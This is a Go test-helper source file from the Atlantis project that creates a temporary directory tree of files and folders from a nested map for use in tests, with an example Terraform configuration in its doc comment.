Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package testing import ( "os" "path/filepath" "testing" ) // DirStructure creates a directory structure in a temporary directory. // structure describes the dir structure. If the value is another map, then the // key is the name of a directory. If the value is nil, then the key is the name // of a file. If val is a string then key is a file name and val is the file's content. // It returns the path to the temp directory containing the defined // structure. // Example usage: // // versionConfig := ` // terraform { // required_version = "= 0.12.8" // } // ` // tmpDir := DirStructure(t, map[string]interface{}{ // "pulldir": map[string]interface{}{ // "project1": map[string]interface{}{ // "main.tf": nil, // }, // "project2": map[string]interface{}{, // "main.tf": versionConfig, // }, // }, // }) func DirStructure(t *testing.T, structure map[string]any) string { tmpDir := t.TempDir() dirStructureGo(t, tmpDir, structure) return tmpDir } func dirStructureGo(t *testing.T, parentDir string, structure map[string]any) { for key, val := range structure { // If val is nil then key is a filename and we just create it if val == nil { _, err := os.Create(filepath.Join(parentDir, key)) Ok(t, err) continue } // If val is another map then key is a dir if dirContents, ok := val.(map[string]any); ok { subDir := filepath.Join(parentDir, key) Ok(t, os.Mkdir(subDir, 0700)) // Recurse and create contents. dirStructureGo(t, subDir, dirContents) } else if fileContent, ok := val.(string); ok { // If val is a string then key is a file name and val is the file's content err := os.WriteFile(filepath.Join(parentDir, key), []byte(fileContent), 0600) Ok(t, err) } } }